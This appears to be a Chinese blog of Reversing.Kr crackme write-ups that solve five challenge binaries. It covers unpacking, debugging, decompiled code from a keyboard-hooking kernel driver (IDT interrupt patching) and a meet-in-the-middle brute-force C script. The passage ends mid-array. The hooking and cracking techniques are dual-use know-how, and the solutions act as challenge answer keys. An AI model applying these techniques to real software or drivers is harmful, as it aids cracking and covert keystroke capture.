l1b0's blog

Reversing-Kr AutoHotKey1 Writeup

2019-12-05T07:49:43.000Z

题目及脚本

解题思路

首先看下README，提示最终flag由两部分DecryptKey和EXE’s Key的逆md5值组成。

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
AuthKey = un_md5(DecryptKey) + “ “ + un_md5(EXE’s Key)
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Ex:)
DecryptKey = 1dfb6b98aef3416e03d50fd2fb525600
EXE’s Key = c944634550c698febdd9c868db908d9d
=> AuthKey = visual studio
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
By Pyutic

用PEID看下程序，显示有UPX壳，可以通过upx -d或者ESP定律脱壳。

接下来用ida分析脱壳后的程序，打开后发现程序很大，无从下手。

运行一下脱壳后的程序提示EXE corrupted。

那就先运行脱壳之前的程序，有个输入框，一个OK和Cancel按钮，随便输入然后点击OK发现程序直接退出了。

这里提供一个对于这种有按钮，有文本框的逆向思路。

程序通过是通过调用GetDlgItem函数，以各个组件的id为索引获取相应的资源（文本或响应函数）。

我们可以用Resource Hacker查看脱壳后的程序的各个框的id，如下图。

可以看到文本框的id为201。

回到ida，在Imports表中搜索GetDlgItem，可以看到相应地址为0x45A330。

双击进去通过x查看交叉引用。

进入函数DialogFunc，可以看到在下图位置引用了id为201的资源。

那么就开始动态调试，注意这里由于脱壳后的程序运行有问题，故调试对象为源程序。

首先来到程序入口，

F8（单步步过）一下，esp寄存器变红，在esp寄存器右键选择HW break[esp]，即hardware break esp，在esp地址处下硬件断点。

F9（执行到断点）一下，到达第一个红色箭头处，可以看到不远处就有一个大跳转。

点击00471BD6，F4（执行至选择处）一下，然后F8（单步步过），跳到00442B4F。

至此完成UPX的解压壳过程，以上为ESP定律方法脱壳。

这里为了保险起见，在apiGetDlgItem处下断点，在上面的Import表中可以看到该api是在USER32的库中。

在olldbg中Alt+E查看执行模块，在相应位置右键选择查看名称。

可以找到GetDlgItem地址为77754800，双击后F2下断点。

然后F9运行程序，会看到程序停在GetDlgItem，在右下角的栈上可以看到相应的参数数值。

继续F9，直到弹出程序框，输入1234后点击OK。

可以看到程序正在获取id为201的资源，F8执行至retn，看看它会返回到哪。

如下图，可以看到返回至00425F39。

这里相应的ida的伪码就不放了，我也没看懂后续干了啥。

接着继续F8，在经过函数sub_401D9F后查看ecx的值发现有点东西。

把这个md5值去cmd5查一下，发现是pawn。

但题目需要两个字符串，这个md5值感觉是exe's key，因为是对输入进行的校验，但我也没看到哪进行了Decrypt的操作。

把这个md5值输入到程序的输入框，结果如下图，点确定后就没了，没了，了。。。

去网上看了看别人的题解，发现最开始那个脱壳程序报的EXE corrupted有点东西。

在ida的字符串中搜索可以看到这个字符串被两个函数引用了。

对两个地址下断点，执行程序后会发现程序停在了sub_4481E0。

看下对应的伪码，经过了sub_4508C7的校验。

于是F7（单步步入）跟进去，然后不断F8，可以看到寄存器出现了md5。

这个函数应该就是一个readme所说的解密函数。

Reversing-Kr CSHARP Writeup

2019-12-04T14:12:43.000Z

题目及脚本
2400分了:-)

解题思路

题目是一个.net文件，运行一下。

遇到.net类型的题目我一般都是丢进ILSpy反编译一波，看伪码。

关键函数如下

// CSharp.Form1
private static void MetMetMet(string sss)
{
byte[] bytes = Encoding.ASCII.GetBytes(Convert.ToBase64String(Encoding.ASCII.GetBytes(sss))); // base64加密
    // 动态调用函数MetMet
AssemblyName assemblyName = new AssemblyName("DynamicAssembly");
TypeBuilder typeBuilder = AppDomain.CurrentDomain.DefineDynamicAssembly(assemblyName, AssemblyBuilderAccess.RunAndSave).DefineDynamicModule(assemblyName.Name, assemblyName.Name + ".exe").DefineType("RevKrT1", TypeAttributes.Public);
MethodBuilder methodBuilder = typeBuilder.DefineMethod("MetMet", MethodAttributes.Private | MethodAttributes.Static, CallingConventions.Standard, null, null);
TypeBuilder typeBuilder2 = AppDomain.CurrentDomain.DefineDynamicAssembly(assemblyName, AssemblyBuilderAccess.RunAndSave).DefineDynamicModule(assemblyName.Name, assemblyName.Name + ".exe").DefineType("RevKrT2", TypeAttributes.Public);
typeBuilder2.DefineMethod("MetM", MethodAttributes.Private | MethodAttributes.Static, CallingConventions.Standard, null, new Type[]
{
typeof(byte[]),
typeof(byte[])
}).CreateMethodBody(Form1.bb, Form1.bb.Length);
Type type = typeBuilder2.CreateType();
MethodInfo method = type.GetMethod("MetM", BindingFlags.Static | BindingFlags.NonPublic);
object obj = Activator.CreateInstance(type);
byte[] array = new byte[] // 校验值
{
1,
2
};
method.Invoke(obj, new object[] // 关键，回调函数MetMet
{
array, // 校验值
bytes // 输入的base64编码
});
string str;
if (array[0] == 1) // 校验正确与否
{
str = "Wrong";
}
else
{
str = "Correct!!";
}
ILGenerator iLGenerator = methodBuilder.GetILGenerator();
iLGenerator.Emit(OpCodes.Ldstr, str);
iLGenerator.EmitCall(OpCodes.Call, typeof(MessageBox).GetMethod("Show", new Type[]
{
typeof(string)
}), null);
iLGenerator.Emit(OpCodes.Pop);
iLGenerator.Emit(OpCodes.Ret);
Type type2 = typeBuilder.CreateType();
MethodInfo method2 = type2.GetMethod("MetMet", BindingFlags.Static | BindingFlags.NonPublic);
object obj2 = Activator.CreateInstance(type2);
method2.Invoke(obj2, null);
}

当想查看函数MetMett的伪码时发现报错。

这就很尴尬了，常用方法行不通。既然该函数是动态调用的那么就只能动态调试了。

网上查了下关于.net的动态调试工具，发现dnspy不错。

在我的吾爱破解的xp虚拟机里发现也有这个工具，美滋滋。

那么接下来就开始动态调试。

动态调试.net

在dnspy工具中，常用命令如下。

单步步入：F11
单步步过：F10
执行至断点：shift+F11
下断点：F9

在关键函数MetMetMet下断点，运行，随便输入，然后check。

然后在下图methon.invoke处下断点，执行到此处时单步步入。

继续步入，

步入

然后单步步过，经过一些检查环节后，执行到下图，步入。

之后就也是步入步过，最后终于到达了函数MetMett，即校验环节。

将数据异或回去即可:-)

以上。

Reversing-Kr Flash-Encrypt Writeup

2019-12-03T07:17:52.000Z

题目及脚本

解题思路

题目是一个swf(shock wave flash)类型的文件，于是去网上找了个反编译flash的程序JPEXS。

不得不说，真的好用:-)

用JPEXS打开swf文件，在设置一栏勾选自动反混淆，不然看到的代码会怀疑人生。

可以看到有6个button，每个button都有相应的点击事件。

逻辑其实很简单，spw即文本框的输入，相等就跳转到另一个frame进行后续的操作。

在文件一栏另存为exe，一个一个输入即可得到最终的key。

结果如下

Reversing-Kr WindowsKernel Writeup

2019-12-03T04:16:21.000Z

题目及脚本
做完这题到2k分了:-)

解题思路

题目给了一个exe和一个sys驱动，均为32位。注意程序应放到x86系统运行，不然驱动无法加载成功。

先运行一下，当驱动加载成功后如下图。要进行输入需先点击Enable按钮。

然后进行输入，按键时会明显发现有一定的延迟，结合提示keyboard可以猜测驱动获取了键盘输入进行处理。

接下来用ida进行分析，首先看下WindowKernel.exe。

由于之前上病毒课有一些分析这种加载驱动的exe的经验，分析起来没之前那么难了。

sub_401310函数主要进行了启动驱动的操作，关键函数在sub_401110。

HWND __thiscall sub_401110(HWND hDlg)
{
  HWND v1; // edi
  HWND result; // eax
  HWND v3; // eax
  HWND v4; // eax
  HWND v5; // eax
  WCHAR String; // [esp+8h] [ebp-204h]

  v1 = hDlg;
  GetDlgItemTextW(hDlg, 1003, &String, 512);
  if ( lstrcmpW(&String, L"Enable") )           // 不是enable
  {
    result = (HWND)lstrcmpW(&String, L"Check");
    if ( !result )
    {
      if ( sub_401280(v1, 0x2000u) == 1 )       // 校验
        MessageBoxW(v1, L"Correct!", L"Reversing.Kr", 0x40u);
      else
        MessageBoxW(v1, L"Wrong", L"Reversing.Kr", 0x10u);
      SetDlgItemTextW(v1, 1002, &word_4021F0);
      v5 = GetDlgItem(v1, 1002);
      EnableWindow(v5, 0);
      result = (HWND)SetDlgItemTextW(v1, 1003, L"Enable");
    }
  }
  else if ( sub_401280(v1, 0x1000u) )           // 开启虚拟盘符，发送控制码至驱动，开始记录
  {
    v3 = GetDlgItem(v1, 1002);
    EnableWindow(v3, 1);
    SetDlgItemTextW(v1, 1003, L"Check");
    SetDlgItemTextW(v1, 1002, &word_4021F0);
    v4 = GetDlgItem(v1, 1002);
    result = SetFocus(v4);
  }
  else
  {
    result = (HWND)MessageBoxW(v1, L"Device Error", L"Reversing.Kr", 0x10u);
  }
  return result;

其中的关键在sub_401280，它主要调用了函数DeviceIoControl与驱动进行交互，如下

1	DeviceIoControl(v2, dwIoControlCode, 0, 0, &OutBuffer, 4u, &BytesReturned, 0)

当控制码为0x1000时开始记录，为0x2000时进行校验。

那么就需要分析驱动WinKer.sys了。

hook键盘获取键盘记录的函数在sub_00113E8，主要通过apiHalGetInterruptVector，获取中断向量。

void __stdcall hookKeyboard(struct _KDPC *Dpc, PVOID DeferredContext, PVOID SystemArgument1, PVOID SystemArgument2)
{
  int v4; // esi // Reference: https://ezbeat.tistory.com/301
  unsigned __int8 v5; // al
  int v6; // eax
  int KINTERRUPT_ADDR; // eax
  char v8[6]; // [esp+4h] [ebp-10h]
  KAFFINITY Affinity; // [esp+Ch] [ebp-8h]
  KIRQL Irql; // [esp+13h] [ebp-1h]

  v4 = KeGetCurrentProcessorNumber();
  v5 = HalGetInterruptVector(Isa, 0, 1u, 1u, &Irql, &Affinity);
  __sidt(v8);
  v6 = *(unsigned __int16 *)(*(_DWORD *)&v8[2] + 8 * v5) | (*(unsigned __int16 *)(*(_DWORD *)&v8[2] + 8 * v5 + 6) << 16);
  if ( MajorVersion < 6 )                       // windows xp
    KINTERRUPT_ADDR = v6 - 0x3C;                // //获取管理中断的中断对象（KINTERRUPT）的地址
  else                                          // windows 7
    KINTERRUPT_ADDR = v6 - 0x58;
  _disable();
  *((_DWORD *)P + v4) = *(_DWORD *)(KINTERRUPT_ADDR + 12);
  *(_DWORD *)(KINTERRUPT_ADDR + 12) = sub_1108C;
  _enable();
}

接收exe发送的控制码并进行分析的函数在sub_0011288。

int __stdcall important(int a1, PIRP Irp)
{
  int v2; // edx
  _IRP *v3; // eax

  v2 = *(_DWORD *)(Irp->Tail.Overlay.PacketType + 12);
  v3 = Irp->AssociatedIrp.MasterIrp;
  if ( v2 == 0x1000 ) // 
  {
    *(_DWORD *)&v3->Type = 1;
    dword_13030 = 1;
    num = 0;
    dword_13024 = 0;
    flag = 0;
  }
  else if ( v2 == 0x2000 )
  {
    dword_13030 = 0;
    *(_DWORD *)&v3->Type = dword_13024; // dword_13024为最终校验值
  }
  Irp->IoStatus.Status = 0;
  Irp->IoStatus.Information = 4;
  IofCompleteRequest(Irp, 0);
  return 0;
}

监听键盘的函数在sub_0011266，通过端口0x60读取值，再调用sub_00111DC即processFromKeyboard进行处理。

void __stdcall listenKeyboard(struct _KDPC *Dpc, PVOID DeferredContext, PVOID SystemArgument1, PVOID SystemArgument2)
{
  char v4; // al

  v4 = READ_PORT_UCHAR((PUCHAR)0x60);
  processFromKeyboard(v4);
}

sub_00111DC函数即对键盘记录进行判断，逻辑较为简单（逐位校验），一开始让我困扰的是为什么只校验奇数位的值。

int __stdcall processFromKeyboard(char a1)
{
  int result; // eax
  bool v2; // zf

  result = 1;
  if ( flag != 1 )
  {
    switch ( num )
    {
      case 0:
      case 2:
      case 4:
      case 6:
        goto LABEL_3;
      case 1:
        v2 = a1 == 0xA5u;
        goto LABEL_6;
      case 3:
        v2 = a1 == 0x92u;
        goto LABEL_6;
      case 5:
        v2 = a1 == 0x95u;
LABEL_6:
        if ( !v2 )
          goto LABEL_7;
LABEL_3:
        ++num;
        break;
      case 7:
        if ( a1 == 0xB0u )
          num = 100;
        else
LABEL_7:
          flag = 1;
        break;
      default:
        result = sub_11156(a1);
        break;
    }
  }
  return result;
}

后来猜测是键的按下与弹起均有相应的值，百度搜到了一个表。

一一对应就能得到最后的key了（里面的e值有误），有一个坑是case 203别漏了，值和case 205一样。

int __stdcall sub_110D0(char a1)
{
  int result; // eax
  char v2; // cl
  bool v3; // zf

  result = num - 200;
  v2 = a1 ^ 5;
  switch ( num )
  {
    case 200:
    case 202:
    case 204:
    case 206:
      goto LABEL_2;
    case 201:
      v3 = v2 == 0xB4u;
      goto LABEL_4;
    case 203: // 和case 205一样！！！
    case 205:
      v3 = v2 == 0x8Fu;

windbg调试过程

其实这题一开始是用windbg+双机（win10+winxp）联调做的，但不知道为啥win10在驱动中下的断点一直进不去，遂放弃了。。。

这里还是记录一下过程，关于双机配置什么的就跳过了，因为这环境是上学期病毒课配的，太久也忘了233。

windbg调试的命令如下

p: 单步步过
t: 单步步入
g: 执行到断点
.reload: 重新加载
lm: ls modules
!drvobj name: 查看驱动对象name的信息

在被调试机（winxp）中下断点在bp 401280，即最终调用DeviceIoControl的函数入口，g一下。

在点击Enable之后再g一下，变成check后回到调试机（win10）。

启动windbg，可以看到已经attach上了。

.reload一下

kd> .reload
Connected to Windows XP 2600 x86 compatible target at (Tue Dec  3 11:54:38.786 2019 (UTC + 8:00)), ptr64 FALSE
Loading Kernel Symbols
...............................................................
...........................................................
Loading User Symbols

Loading unloaded module list
............................................

lm一下，如下，无关紧要的信息都略去了。

kd> lm
start    end        module name
804d7000 806d0680   nt         (pdb symbols)          f:\大三下\2019.4.17计算机病毒与防治\symbols\ntkrnlpa.pdb\7E4571CB945F42D182C86ABEBEA8E44D1\ntkrnlpa.pdb         
f791d000 f7923000   WinKer     (deferred)           
      

Unloaded modules:
edc86000 edcb1000   kmixer.sys
f78bd000 f78c3000   WinKer.sys

可以看到驱动WinKr.sys的起始地址为0xf791d000，加上想要断的函数偏移，比如函数processFromKeyboard的偏移是0x1DC，那么就bp f791d1dc。

但是没用就很尴尬了。。。

以上。

参考链接

[1]IDT挂接注意事项

[2]动态获取中断向量值（APIC描述。）

[3]keyboard scan code 表

[4]malwareAnalysis-Lab10-kernel-debug

Reversing-Kr CRC1 Writeup

2019-11-30T11:53:12.000Z

题目及脚本
这题的解法参考了DoubleLabyrinth的想法。

解题思路

题目是一个32位的exe，用ida打开看逻辑。

关键函数伪码如下

int __cdecl sub_401070(HWND hDlg)
{
  unsigned int v1; // ecx@2
  char v2; // al@2
  char *v3; // edi@2
  char *v4; // esi@2
  int v5; // ecx@2
  signed int v6; // eax@2
  char *v7; // ecx@2
  char v8; // dl@3
  unsigned __int64 v9; // rax@4
  signed int v10; // esi@4
  int v11; // edi@5
  unsigned __int64 v12; // rax@5
  int v13; // edi@5
  CHAR String; // [sp+8h] [bp-114h]@1
  int v16; // [sp+9h] [bp-113h]@1
  int v17; // [sp+Dh] [bp-10Fh]@1
  int v18; // [sp+11h] [bp-10Bh]@1
  int v19; // [sp+15h] [bp-107h]@1
  __int16 v20; // [sp+19h] [bp-103h]@1
  char v21; // [sp+1Bh] [bp-101h]@1
  char v22; // [sp+1Ch] [bp-100h]@1
  char v23; // [sp+1Dh] [bp-FFh]@1
  __int16 v24; // [sp+119h] [bp-3h]@1
  char v25; // [sp+11Bh] [bp-1h]@1

  v22 = 0;
  memset(&v23, 0, 0xFCu);
  v24 = 0;
  v25 = 0;
  v16 = 0;
  v17 = 0;
  v18 = 0;
  v19 = 0;
  v20 = 0;
  String = 0;
  v21 = 0;
  if ( GetDlgItemTextA(hDlg, 1000, &String, 20) != 8 )
    goto LABEL_13;
  v1 = strlen((const char *)&unk_406030) + 1;
  v2 = v1;
  v1 >>= 2;
  qmemcpy(&v22, &unk_406030, 4 * v1);
  v4 = (char *)&unk_406030 + 4 * v1;
  v3 = &v22 + 4 * v1;
  v5 = v2 & 3;
  v6 = 0;
  qmemcpy(v3, v4, v5);
  v7 = &v22;
  do
  {
    v8 = *(&String + v6++);
    *v7 = v8;
    v7 += 16;
  }
  while ( v6 < 8 ); // 将string嵌入key中
  v9 = 0i64;
  v10 = 0;
  do
  {
    v11 = (unsigned __int8)v9 ^ (unsigned __int8)*(&v22 + v10); // 取v9的低字节与字符串hellowelcome做异或
    v12 = v9 >> 8; // 舍弃v9的低字节
    LODWORD(v9) = v12 ^ dword_4085E8[2 * v11]; // 低四个字节之间异或
    v13 = HIDWORD(v9) ^ dword_4085EC[2 * v11]; // v9的高三个字节与密钥异或
      // 这里的HIDWORD(v9)实际上是v12的前四个字节，通过汇编或动态调试可以看得更清楚。
    ++v10;
    HIDWORD(v9) = v13;
  } 
  while ( v10 < 256 ); // 256轮
  if ( (_DWORD)v9 != 0x5F695F6C || v13 != 0x676F5F67 ) // 校验结果
  {
LABEL_13:
    MessageBeep(0x30u);
    SetDlgItemTextA(hDlg, 1001, ::String);
  }
  else
  {
    MessageBeep(0x40u);
    SetDlgItemTextA(hDlg, 1001, aCorrect);
  }
  return 1;
}

逻辑看似简单，但要完全理解最好通过动态调试加深印象。

题目中包含两个重要数据，一个是包含输入的v22，也就是_[Hello___Welcome To Reversing.Kr]__The idea of the algorithm came out of the codeengn challenge__This algorithm very FXCK__But you can solve it!!__Impossible is Impossible_()_[]_()_[]_()_[]_()_[]_()_[]_()_[]_()_[]_()_[]_()_[]_()_[]_()_[]_()_[]_()_[]_()_[；另一个是用来与key做异或的dword_4085E8，它包含256个大小为64位的16进制数，并且这些16进制数的最高位字节互不重复，需要在调试的时候才能看见。

算法的逻辑并不复杂，实际的加密过程用c实现也就10来行。

ll encrypt(ll k, uc pd[8])
{
    for(int i=0;i<8;i++)
    {
        s[i*16] = pd[i];
    }
    for(int i=0;i<256;i++)
    {
        uc t = (k&0xff)^s[i];
        k = k >> 8;
        k = k ^ dword_4085E8[t];
    }
    return k;
}

如果在知道密钥的前提下解密过程也很简单。

ll decrypt(ll k, uc pd[8])
{
    for(int i=0;i<8;i++)
    {
        s[i*16] = pd[i];
    }
    for(int i=255;i>=0;i--)
    {
        uc t = reverse_i[k>>56]; // reverse_i 就是在dword_4085E8中下标与每个数的高位字节的映射关系颠倒

        k = k ^ dword_4085E8[t];
    k = (k << 8) + (s[i]^t);
    }
    return k;
}

但要解的就是密钥，长度为8，范围暂时为可见字符。

如果要强行爆破的话(127-32)**8 = 6634204312890625，是不太可能的。

这里参考了DoubleLabyrinth的解法，很巧妙。将密钥一分为二，一半用来爆破加密的中间结果，一半用来爆破解密的中间结果，最后将中间结果排序，然后以线性时间的复杂度比较两者找出相等的结果，从而得到密钥。这样的爆破范围为(127-32)**4 = 81450625，可以接受。

解题脚本

脚本跑完花了20多分钟

/*************************************************************************
> File Name: exp.c
> Author: l1b0 
> Mail: ...
> Created Time: 2019年11月30日 星期六 16时09分51秒
 ************************************************************************/

#include
#include
#include

#define ll unsigned long long
#define uc unsigned char


typedef struct result{
    ll v;
    unsigned char ss[4];
}res;

res result1[81450626], result2[81450626];

ll dword_4085E8[256] = {
    0x0, 0xB32E4CBE03A75F6F, 0xF4843657A840A05B, 0x47AA7AE9ABE7FF34, 0x7BD0C384FF8F5E33, 0xC8FE8F3AFC28015C, 0x8F54F5D357CFFE68, 0x3C7AB96D5468A107,
0xF7A18709FF1EBC66, 0x448FCBB7FCB9E309, 0x325B15E575E1C3D, 0xB00BFDE054F94352, 0x8C71448D0091E255, 0x3F5F08330336BD3A, 0x78F572DAA8D1420E, 0xCBDB3E64AB761D61,
0x7D9BA13851336649, 0xCEB5ED8652943926, 0x891F976FF973C612, 0x3A31DBD1FAD4997D, 0x64B62BCAEBC387A, 0xB5652E02AD1B6715, 0xF2CF54EB06FC9821, 0x41E11855055BC74E,
0x8A3A2631AE2DDA2F, 0x39146A8FAD8A8540, 0x7EBE1066066D7A74, 0xCD905CD805CA251B, 0xF1EAE5B551A2841C, 0x42C4A90B5205DB73, 0x56ED3E2F9E22447, 0xB6409F5CFA457B28,
0xFB374270A266CC92, 0x48190ECEA1C193FD, 0xFB374270A266CC9, 0xBC9D3899098133A6, 0x80E781F45DE992A1, 0x33C9CD4A5E4ECDCE, 0x7463B7A3F5A932FA, 0xC74DFB1DF60E6D95,
0xC96C5795D7870F4, 0xBFB889C75EDF2F9B, 0xF812F32EF538D0AF, 0x4B3CBF90F69F8FC0, 0x774606FDA2F72EC7, 0xC4684A43A15071A8, 0x83C230AA0AB78E9C, 0x30EC7C140910D1F3,
0x86ACE348F355AADB, 0x3582AFF6F0F2F5B4, 0x7228D51F5B150A80, 0xC10699A158B255EF, 0xFD7C20CC0CDAF4E8, 0x4E526C720F7DAB87, 0x9F8169BA49A54B3, 0xBAD65A25A73D0BDC,
0x710D64410C4B16BD, 0xC22328FF0FEC49D2, 0x85895216A40BB6E6, 0x36A71EA8A7ACE989, 0xADDA7C5F3C4488E, 0xB9F3EB7BF06317E1, 0xFE5991925B84E8D5, 0x4D77DD2C5823B7BA,
0x64B62BCAEBC387A1, 0xD7986774E864D8CE, 0x90321D9D438327FA, 0x231C512340247895, 0x1F66E84E144CD992, 0xAC48A4F017EB86FD, 0xEBE2DE19BC0C79C9, 0x58CC92A7BFAB26A6,
0x9317ACC314DD3BC7, 0x2039E07D177A64A8, 0x67939A94BC9D9B9C, 0xD4BDD62ABF3AC4F3, 0xE8C76F47EB5265F4, 0x5BE923F9E8F53A9B, 0x1C4359104312C5AF, 0xAF6D15AE40B59AC0,
0x192D8AF2BAF0E1E8, 0xAA03C64CB957BE87, 0xEDA9BCA512B041B3, 0x5E87F01B11171EDC, 0x62FD4976457FBFDB, 0xD1D305C846D8E0B4, 0x96797F21ED3F1F80, 0x2557339FEE9840EF,
0xEE8C0DFB45EE5D8E, 0x5DA24145464902E1, 0x1A083BACEDAEFDD5, 0xA9267712EE09A2BA, 0x955CCE7FBA6103BD, 0x267282C1B9C65CD2, 0x61D8F8281221A3E6, 0xD2F6B4961186FC89,
0x9F8169BA49A54B33, 0x2CAF25044A02145C, 0x6B055FEDE1E5EB68, 0xD82B1353E242B407, 0xE451AA3EB62A1500, 0x577FE680B58D4A6F, 0x10D59C691E6AB55B, 0xA3FBD0D71DCDEA34,
0x6820EEB3B6BBF755, 0xDB0EA20DB51CA83A, 0x9CA4D8E41EFB570E, 0x2F8A945A1D5C0861, 0x13F02D374934A966, 0xA0DE61894A93F609, 0xE7741B60E174093D, 0x545A57DEE2D35652,
0xE21AC88218962D7A, 0x5134843C1B317215, 0x169EFED5B0D68D21, 0xA5B0B26BB371D24E, 0x99CA0B06E7197349, 0x2AE447B8E4BE2C26, 0x6D4E3D514F59D312, 0xDE6071EF4CFE8C7D,
0x15BB4F8BE788911C, 0xA6950335E42FCE73, 0xE13F79DC4FC83147, 0x521135624C6F6E28, 0x6E6B8C0F1807CF2F, 0xDD45C0B11BA09040, 0x9AEFBA58B0476F74, 0x29C1F6E6B3E0301B,
0xC96C5795D7870F42, 0x7A421B2BD420502D, 0x3DE861C27FC7AF19, 0x8EC62D7C7C60F076, 0xB2BC941128085171, 0x192D8AF2BAF0E1E, 0x4638A2468048F12A, 0xF516EEF883EFAE45,
0x3ECDD09C2899B324, 0x8DE39C222B3EEC4B, 0xCA49E6CB80D9137F, 0x7967AA75837E4C10, 0x451D1318D716ED17, 0xF6335FA6D4B1B278, 0xB199254F7F564D4C, 0x2B769F17CF11223,
0xB4F7F6AD86B4690B, 0x7D9BA1385133664, 0x4073C0FA2EF4C950, 0xF35D8C442D53963F, 0xCF273529793B3738, 0x7C0979977A9C6857, 0x3BA3037ED17B9763, 0x888D4FC0D2DCC80C,
0x435671A479AAD56D, 0xF0783D1A7A0D8A02, 0xB7D247F3D1EA7536, 0x4FC0B4DD24D2A59, 0x3886B22086258B5E, 0x8BA8FE9E8582D431, 0xCC0284772E652B05, 0x7F2CC8C92DC2746A,
0x325B15E575E1C3D0, 0x8175595B76469CBF, 0xC6DF23B2DDA1638B, 0x75F16F0CDE063CE4, 0x498BD6618A6E9DE3, 0xFAA59ADF89C9C28C, 0xBD0FE036222E3DB8, 0xE21AC88218962D7,
0xC5FA92EC8AFF7FB6, 0x76D4DE52895820D9, 0x317EA4BB22BFDFED, 0x8250E80521188082, 0xBE2A516875702185, 0xD041DD676D77EEA, 0x4AAE673FDD3081DE, 0xF9802B81DE97DEB1,
0x4FC0B4DD24D2A599, 0xFCEEF8632775FAF6, 0xBB44828A8C9205C2, 0x86ACE348F355AAD, 0x34107759DB5DFBAA, 0x873E3BE7D8FAA4C5, 0xC094410E731D5BF1, 0x73BA0DB070BA049E,
0xB86133D4DBCC19FF, 0xB4F7F6AD86B4690, 0x4CE50583738CB9A4, 0xFFCB493D702BE6CB, 0xC3B1F050244347CC, 0x709FBCEE27E418A3, 0x3735C6078C03E797, 0x841B8AB98FA4B8F8,
0xADDA7C5F3C4488E3, 0x1EF430E13FE3D78C, 0x595E4A08940428B8, 0xEA7006B697A377D7, 0xD60ABFDBC3CBD6D0, 0x6524F365C06C89BF, 0x228E898C6B8B768B, 0x91A0C532682C29E4,
0x5A7BFB56C35A3485, 0xE955B7E8C0FD6BEA, 0xAEFFCD016B1A94DE, 0x1DD181BF68BDCBB1, 0x21AB38D23CD56AB6, 0x9285746C3F7235D9, 0xD52F0E859495CAED, 0x6601423B97329582,
0xD041DD676D77EEAA, 0x636F91D96ED0B1C5, 0x24C5EB30C5374EF1, 0x97EBA78EC690119E, 0xAB911EE392F8B099, 0x18BF525D915FEFF6, 0x5F1528B43AB810C2, 0xEC3B640A391F4FAD,
0x27E05A6E926952CC, 0x94CE16D091CE0DA3, 0xD3646C393A29F297, 0x604A2087398EADF8, 0x5C3099EA6DE60CFF, 0xEF1ED5546E415390, 0xA8B4AFBDC5A6ACA4, 0x1B9AE303C601F3CB,
0x56ED3E2F9E224471, 0xE5C372919D851B1E, 0xA26908783662E42A, 0x114744C635C5BB45, 0x2D3DFDAB61AD1A42, 0x9E13B115620A452D, 0xD9B9CBFCC9EDBA19, 0x6A978742CA4AE576,
0xA14CB926613CF817, 0x1262F598629BA778, 0x55C88F71C97C584C, 0xE6E6C3CFCADB0723, 0xDA9C7AA29EB3A624, 0x69B2361C9D14F94B, 0x2E184CF536F3067F, 0x9D36004B35545910,
0x2B769F17CF112238, 0x9858D3A9CCB67D57, 0xDFF2A94067518263, 0x6CDCE5FE64F6DD0C, 0x50A65C93309E7C0B, 0xE388102D33392364, 0xA4226AC498DEDC50, 0x170C267A9B79833F,
0xDCD7181E300F9E5E, 0x6FF954A033A8C131, 0x28532E49984F3E05, 0x9B7D62F79BE8616A, 0xA707DB9ACF80C06D, 0x14299724CC279F02, 0x5383EDCD67C06036, 0xE0ADA17364673F59
};

uc s[256] = {
0x5F, 0x5B, 0x48, 0x65, 0x6C, 0x6C, 0x6F, 0x5F, 0x5F, 0x5F, 0x57, 0x65, 0x6C, 0x63, 0x6F, 0x6D,
0x65, 0x20, 0x54, 0x6F, 0x20, 0x52, 0x65, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6E, 0x67, 0x2E, 0x4B,
0x72, 0x5D, 0x5F, 0x5F, 0x54, 0x68, 0x65, 0x20, 0x69, 0x64, 0x65, 0x61, 0x20, 0x6F, 0x66, 0x20,
0x74, 0x68, 0x65, 0x20, 0x61, 0x6C, 0x67, 0x6F, 0x72, 0x69, 0x74, 0x68, 0x6D, 0x20, 0x63, 0x61,
0x6D, 0x65, 0x20, 0x6F, 0x75, 0x74, 0x20, 0x6F, 0x66, 0x20, 0x74, 0x68, 0x65, 0x20, 0x63, 0x6F,
0x64, 0x65, 0x65, 0x6E, 0x67, 0x6E, 0x20, 0x63, 0x68, 0x61, 0x6C, 0x6C, 0x65, 0x6E, 0x67, 0x65,
0x5F, 0x5F, 0x54, 0x68, 0x69, 0x73, 0x20, 0x61, 0x6C, 0x67, 0x6F, 0x72, 0x69, 0x74, 0x68, 0x6D,
0x20, 0x76, 0x65, 0x72, 0x79, 0x20, 0x46, 0x58, 0x43, 0x4B, 0x5F, 0x5F, 0x42, 0x75, 0x74, 0x20,
0x79, 0x6F, 0x75, 0x20, 0x63, 0x61, 0x6E, 0x20, 0x73, 0x6F, 0x6C, 0x76, 0x65, 0x20, 0x69, 0x74,
0x21, 0x21, 0x5F, 0x5F, 0x49, 0x6D, 0x70, 0x6F, 0x73, 0x73, 0x69, 0x62, 0x6C, 0x65, 0x20, 0x69,
0x73, 0x20, 0x49, 0x6D, 0x70, 0x6F, 0x73, 0x73, 0x69, 0x62, 0x6C, 0x65, 0x5F, 0x28, 0x29, 0x5F,
0x5B, 0x5D, 0x5F, 0x28, 0x29, 0x5F, 0x5B, 0x5D, 0x5F, 0x28, 0x29, 0x5F, 0x5B, 0x5D, 0x5F, 0x28,
0x29, 0x5F, 0x5B, 0x5D, 0x5F, 0x28, 0x29, 0x5F, 0x5B, 0x5D, 0x5F, 0x28, 0x29, 0x5F, 0x5B, 0x5D,
0xE7, 0x51, 0xDE, 0x35, 0xA3, 0x13, 0x90, 0x2E, 0x29, 0x5F, 0x5B, 0x5D, 0x5F, 0x28, 0x29, 0x5F,
0x5B, 0x5D, 0x5F, 0x28, 0x29, 0x5F, 0x5B, 0x5D, 0x5F, 0x28, 0x29, 0x5F, 0x5B, 0x5D, 0x5F, 0x28,
0x29, 0x5F, 0x5B, 0x5D, 0x5F, 0x28, 0x29, 0x5F, 0x5B, 0x5D, 0x5F, 0x28, 0x29, 0x5F, 0x5B, 0x00
};

uc reverse_i[256] = {
